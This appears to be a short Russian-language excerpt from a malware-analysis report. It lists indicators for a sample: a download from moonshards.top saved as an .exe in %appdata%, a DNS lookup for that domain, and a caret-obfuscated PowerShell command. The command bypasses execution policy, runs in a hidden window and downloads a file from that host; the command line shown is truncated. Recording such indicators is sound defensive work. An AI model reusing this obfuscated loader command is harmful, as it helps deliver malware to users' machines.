Техническая информация
- http://moonshards.top/search.php как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "PO^wer^Sh^e^ll^.e^xE -^E^Xe^C^UTIO^nP^oli^c^Y^ b^yPa^S^s -^NOpRof^ile -^WInDoWST^Yle^ hIDde^n^ (^n^Ew-OBjeCT S^y^STeM.NeT^.^w^ebCli^en^T^).^dO^W^nl^OA^D^fILe(^'http://moonsh...
- DNS ASK mo###hards.top
- '<SYSTEM32>\cmd.exe' /c "PO^wer^Sh^e^ll^.e^xE -^E^Xe^C^UTIO^nP^oli^c^Y^ b^yPa^S^s -^NOpRof^ile -^WInDoWST^Yle^ hIDde^n^ (^n^Ew-OBjeCT S^y^STeM.NeT^.^w^ebCli^en^T^).^dO^W^nl^OA^D^fILe(^'http://moonsh...' (со скрытым окном)